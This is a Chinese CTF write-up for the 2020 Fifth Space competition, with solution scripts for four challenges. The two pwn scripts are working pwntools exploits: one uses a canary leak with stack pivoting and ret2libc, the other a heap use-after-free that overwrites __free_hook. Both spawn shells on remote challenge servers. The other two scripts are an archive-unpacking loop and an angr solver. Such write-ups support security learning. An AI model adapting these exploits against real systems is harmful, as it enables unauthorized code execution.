2020第五空间部分wp

我是废物~,我个人的话出了4个题。分别是pwn类的twice,of,misc类的loop,re类的rev,写下wp,后续的话可能会更新pwn类的pwnme的wp,由于我环境搭建没打好,pwnme本来也是个简单题来着。
等环境整好了复现出来了在更新pwnme吧,现在先把现有的wp贴上去。

twice

程序循环两次,第一次泄露canary+stack地址,第二次执行栈迁移溢出,我这里用的ret2libc,很多方法。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn')
p = 0
def pwn(ip,port,debug):
 global p
 if(debug == 1):
  p = process('./pwn')
 else:
  p = remote(ip,port)
 #gdb.attach(p,"b*0x40087A")
 p.sendlineafter(">","A"*84+"BBBB")
 p.recvuntil("BBBB")
 canary=u64(p.recv(8))-0xa
 print "canary=",hex(canary)
 stack_addr=u64(p.recv(6).ljust(8,"\x00"))
 print "stack_addr=",hex(stack_addr)
 pop_rdi_ret=0x400923
 payload=(p64(0)+p64(pop_rdi_ret)+p64(elf.got["__libc_start_main"])+p64(elf.plt["puts"])+p64(0x040087B)).ljust(88,"\x00")+p64(canary)
 payload+=p64(stack_addr-0x70)+p64(0x400879)
 print "len=",len(payload)
 p.sendafter(">",payload)
 p.recvuntil("\n")
 libc_addr=u64(p.recv(6).ljust(8,"\x00"))
 print "libc_addr=",hex(libc_addr)
 libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
 libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
 system_addr=libcbase_addr+libc.symbols["system"]
 binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
 p.sendlineafter(">","A"*84+"BBBB")
 p.recvuntil("BBBB")
 canary=u64(p.recv(8))-0xa
 print "canary=",hex(canary)
 stack_addr=u64(p.recv(6).ljust(8,"\x00"))
 print "stack_addr=",hex(stack_addr)
 pop_rdi_ret=0x400923
 payload=(p64(0)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(0x040087B)).ljust(88,"\x00")+p64(canary)
 payload+=p64(stack_addr-0x70)+p64(0x400879)
 print "len=",len(payload)
 p.sendafter(">",payload)
 p.interactive()
if __name__ == '__main__':
 pwn('121.36.59.116',9999,0)

of

这题我笑了,给了源码,本地在free,add,show,edit的时候都有cookie验证,做了尼玛一下午,想了各种利用方式,最后感觉无解的,以为赛后能学到新点子,结果尼玛的远程没有cookie验证。心态崩了。Orz
没有验证的话非常简单,基本UAF,当时一边骂着主办方,一分钟就把更改free_hook写好了,我双标吧。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('of')
p = 0
def pwn(ip,port,debug):
 global p
 if(debug == 1):
  p = process('./of')
 else:
  p = remote(ip,port)
 def add(index):
  p.sendlineafter("Your choice: ","1")
  p.sendlineafter("Index: ",str(index))
 def edit(index,content):
  p.sendlineafter("Your choice: ","2")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("Content: ",content)
 def show(index):
  p.sendlineafter("Your choice: ","3")
  p.sendlineafter("Index: ",str(index))
 def free(index):
  p.sendlineafter("Your choice: ","4")
  p.sendlineafter("Index: ",str(index))
 for i in range(8):
  add(i)
 add(8)
 add(9)
 add(10)
 add(11)
 for i in range(8):
  free(i)
 for i in range(8):
  add(i)
 show(7)
 p.recvuntil("Content: ")
 libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
 main_arena=u64(p.recv(14)[8:14].ljust(8,"\x00"))
 print "main_arena=",hex(main_arena)
 libcbase_addr=main_arena-(0x7f60214c8ca0-0x00007f60210dd000)
 free_hook=libcbase_addr+libc.symbols["__free_hook"]
 system_addr=libcbase_addr+libc.symbols["system"]
 free(0)
 edit(0,p64(free_hook))
 add(0)
 add(0)
 edit(1,"/bin/sh\x00")
 edit(0,p64(system_addr))
 free(1)
 #gdb.attach(p)
 p.interactive()
if __name__ == '__main__':
 pwn("121.36.74.70",9999,0)

loop

通过测验可以看到用tar与zip轮着加密的,写个解密脚本就可以

import os
import shutil
import time

def scan_file():
    files = os.listdir()
    for f in files:
        if f.endswith('file'):
            return f
def unzip_it(f):
    if f[0:3]=='tar':
        os.rename(f,f+'.tar')
        target_path = './'
        print(type(f))
        shutil.unpack_archive(f+'.tar', target_path)
        os.remove(f+'.tar')
    if f[0:3]=='zip':
        os.rename(f,f+'.zip')
        target_path = './'
        print(type(f))
        shutil.unpack_archive(f+'.zip', target_path)
        os.remove(f+'.zip')
while True:
    zip_file = scan_file()
    print(zip_file)
    if zip_file:
        unzip_it(zip_file)

rev

嘿,你猜怎么着,前两天刚学的angr,今天就用上了,
简单的一批,就一个分支,啥都不用改,套模板都可以。
具体不会的可以看我github上的博客

#!/usr/bin/env python
# -*- coding: utf-8 -*
import angr
import claripy

import sys
reload(sys)
sys.setdefaultencoding('utf8')

def main():
    project = angr.Project("./rev_v2")

    #create an initial state with a symbolic bit vector as argv1
    argv1 = claripy.BVS("argv1",100*8) #    
    initial_state = project.factory.entry_state(args=["./crackme1",argv1])

    #create a path group using the created initial state 
    sm = project.factory.simulation_manager(initial_state)

    #symbolically execute the program until we reach the wanted value of the instruction pointer
    sm.explore(find=0x400488) #at this instruction the binary will print(the "correct" message)

    found = sm.found[0]
    #ask to the symbolic solver to get the value of argv1 in the reached state as a string
    solution = found.solver.eval(argv1, cast_to=str)

    print(solution)


if __name__ == '__main__':
    main()

总结

这次的pwn感觉难度不高,(虽然我pwnme没出),of带着cookie的验证我以为是个惊喜,当时远程几十个人做出来了,我昏迷了,哎,DASCTF去了。
pwnme等后续更新吧。

上一篇:others_babystack


下一篇:高校战“疫”网络安全分享赛pwn部分wp